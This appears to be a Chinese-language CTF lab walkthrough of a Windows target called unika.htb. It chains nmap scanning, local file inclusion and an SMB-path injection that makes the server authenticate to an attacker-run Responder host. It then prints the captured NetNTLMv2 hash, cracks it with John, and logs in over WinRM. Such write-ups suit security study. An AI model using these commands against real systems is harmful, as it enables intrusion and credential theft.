windows漏洞
我们刚才说了一种扫描方式
1 | sudo nmap -sS -Pn -n --open ip地址 |
结果发现有些没有扫描出来,被过滤了,我们尝试第二种
1 | -p- : This flag scans for all TCP ports ranging from 0-65535 |
1 | sudo nmap -p- --min-rate 5000 -sV ip地址 |
扫描确实加快了,非常详细
1 | ┌──(spencer㉿kali)-[~/桌面] |
Windows Remote Management(winRM)
Windows远程管理,或WinRM,是Windows本地内置的远程管理协议,基本上使用简单对象访问协议与远程计算机和服务器以及操作系统和应用程序交互。
WINRM允许以下操作:
与主机进行远程通信和接口
在非您不本地但可访问网络的系统上远程执行命令
从远程监控、管理和配置服务器、操作系统和客户端机器
这意味着如果我们能够为具有远程管理权限的用户找到凭据(通常是用户名和密码),我们可能会在主机上获得一个PowerShellShell。
我们看到它启动了APACHE服务,于是打开ip对应的网站,但是发现了301重定向,这个web服务器正在使用基于名称的虚拟托管来为请求提供服务。
但是却无法访问。
基于名称的虚拟托管是一种用于在一个服务器上托管多个域名(具有对每个名称的单独处理)的方法。这允许一个服务器共享其资源,如内存和处理器周期,而不需要使用相同的主机名使用所有服务。
这个就像我在宝塔面板里面开多个域名一样。只要能解析就行。
web服务器检查HTTP请求的Host标头字段中提供的域名,并根据其发送响应。
这里补充一个知识:
/etc/hosts文件用于将主机名解析为IP地址,因此我们需要在这个域的/etc/hosts文件中添加一个条目,以使浏览器能够解析unika.htb的地址。
Linux tee命令
用于读取标准输入的数据,并将其内容输出成文件。
tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。
举例:
1 | tee file1 file2 |
我们这样代表下面的标准输入全部复制到以上两个文件当中去。
下面输入数据:
1 | my linux |
1 | -a或--append 附加到既有文件的后面,而非覆盖它. |
所以对于本靶机我们要让其ip能够解析
1 | echo "10.129.136.91 unika.htb" | sudo tee -a /etc/hosts |
解析成功
注意到URL,我们可以看到french.html页面正在由页面参数加载,如果页面输入没有被清理,这可能会容易受到本地文件包含(LFI)漏洞的攻击。
动态网站使用来自HTTP请求的信息,动态地包含HTML页面,以包括GET和POST参数、Cookie和其他变量。一个页面基于这些参数“包含”另一个页面是很常见的。
当攻击者能够让一个网站包含一个原本不是这个应用程序的选项的文件时,就会出现LFI或本地文件包含。一个常见的例子是,当应用程序使用到文件的路径作为输入时。如果应用程序将此输入视为受信任的,并且没有对此输入执行所需的卫生检查,那么攻击者可以使用输入文件名中的../字符串来利用它,并最终在本地文件系统中查看敏感文件。在某些有限的情况下,一个LFI也可以导致代码的执行
RFI或远程文件包含类似于LFI,但在这种情况下,攻击者可以使用HTTP、FTP等协议在主机上加载远程文件。
我们来访问windows系统上最常见的文件:
1 | WINDOWS\System32\drivers\etc\hosts |
此文件帮助将主机名转换为IP地址。
结果还真能访问。
在这种情况下,文件包含之所以成为可能,是因为在后端,PHP的包含()方法被用于处理URL参数页面,用于为不同语言的不同网页提供服务。因为没有对这个页面参数进行适当的卫生处理,所以我们能够传递恶意输入,从而查看内部系统文件。
我们知道这个网页易受文件包含漏洞的攻击,并且正在Windows机器上提供服务。因此,有可能在我们的攻击者工作站上包含一个文件。如果我们选择一个像SMB这样的协议,Windows将尝试对我们的机器进行身份验证,并且我们可以捕获NetNTLMv2
什么是NTLM(New Technology Lan Manager)?
NTLM是由微软创建的一个身份验证协议的集合。它是一种挑战响应身份验证协议,用于对活动目录域上的资源进行身份验证。
它是一种单点登录(SSO)的类型,因为它只允许用户在登录时提供一次底层身份验证因素。就类似一个单点登陆。
NTLM身份验证过程通过以下方式进行:
1 | 客户端将用户名和域名发送到服务器 |
在PHP配置文件php.ini中,“allow_url_include”包装器默认设置为“Off”,这表明PHP不加载远程HTTP或FTPurl,以防止远程文件包含攻击。但是,即使allow_url_include和allow_url_fopen被设置为“Off”,PHP也不会阻止SMBurl的加载。
也就是说:SMBURL的加载和php.ini中的设置没有关系!
接下来:
1 | 响应器可以进行许多不同类型的攻击,但对于这个场景,它将设置一个恶意的SMB服务器。当目标计算机试图对该服务器执行NTLM身份验证时,响应器将发送一个挑战,要求服务器使用用户的密码进行加密。当服务器响应时,响应者将使用挑战和加密的响应来生成NetNTLMv2。虽然我们不能逆转NetNTLMv2,但我们可以尝试许多不同的通用密码,看看是否有一个产生相同的挑战响应,如果我们找到一个,我们知道这就是密码。这通常被称为散列破解,我们将用一个叫做开膛手约翰的程序来完成。 |
我们要下载一个Responder,现在我还没搞明白这是什么,总之是用来监听挑战码,做身份验证的,也是一个监听器,可以监听各种协议。
1 | git clone https://github.com/lgandx/Responder.git |
准备好了配置文件后,我们可以继续使用python3启动响应器,并使用-I标志传入接口来侦听:
1 | sudo python3 Responder.py -I tun0 |
当响应器服务器准备好后,我们通过web浏览器设置如下页面参数,告诉服务器包含来自我们的SMB服务器的资源
1 | http://unika.htb/?page=//10.10.14.25/somefile |
在这种情况下,因为我们可以自由地指定SMB共享的地址,所以我们可以指定了攻击机器的IP地址。现在服务器尝试从我们的SMB服务器加载资源,响应器捕获足够的资源来获得NetNTLMv2
也就是我们让攻击机开启了SMB服务并且开启监听,等待来自网页请求之后传来的验证。
接收到如下:
我们将其转储为哈希并且破解
1 | echo "Administrator::RESPONDER:f861afbbedb59f4a:F9362C47501E64CAE2A5E12510DBDDFA:010100000000000000494D443480D801CBEC48E9FCAA2DA20000000002000800350034003700490001001E00570049004E002D0052005A00380035004D0059004D005A004E005200590004003400570049004E002D0052005A00380035004D0059004D005A004E00520059002E0035003400370049002E004C004F00430041004C000300140035003400370049002E004C004F00430041004C000500140035003400370049002E004C004F00430041004C000700080000494D443480D80106000400020000000800300030000000000000000100000000200000E54332242E9E93D269F76CED699C95DFED122F780588A1BD3B3A3A8EE9DCF1FF0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E00370031000000000000000000" > hash.txt |
下面用kali自带的join破解它。
1 | -w : wordlist to use for cracking the hash |
1 | john -w=/usr/share/wordlists/rockyou.txt hash.txt |
用字典将其破解。可知密码为
1 | badminton |
我们将连接到目标服务器上的WinRM服务,并尝试获得一个会话。下面用kali自带的工具
1 | ┌──(spencer㉿kali)-[~/桌面] |
登陆成功
最终容易找到flag.